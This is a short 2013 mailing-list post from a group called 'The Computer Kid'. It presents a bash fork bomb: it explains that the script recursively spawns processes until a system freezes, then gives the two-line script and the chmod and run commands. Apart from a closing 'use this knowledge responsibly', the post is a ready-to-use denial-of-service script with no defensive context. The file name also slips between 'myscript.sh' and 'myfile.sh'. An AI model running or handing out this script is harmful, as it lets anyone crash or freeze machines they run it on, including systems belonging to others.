[The Computer Kid] Bash File Fork Bomb Script

2 views
Skip to first unread message

Conrad Sykes

unread,
May 16, 2013, 4:50:12 PM5/16/13
to the-comp...@googlegroups.com
Fork bombs are recursive scripts that infinitely call themselves and push a system to it’s max until it ends up freezing or crashing. Creating a fork bomb script for Linux is extremely simple. Create a file called “myscript.sh” and insert the following two lines.


 #!/bin/bash
 :(){ :|:& };:

Then save this file and chmod it so that it’s executable “chmod a+x myfile.sh”. Now you can run your script by typing “./myfile.sh”. The the system you run it on will grind to a halt and completely freeze within seconds.

 Please use this knowledge responsibly.

--
Posted By Conrad Sykes to The Computer Kid at 5/16/2013 01:50:00 PM
Reply all
Reply to author
Forward
0 new messages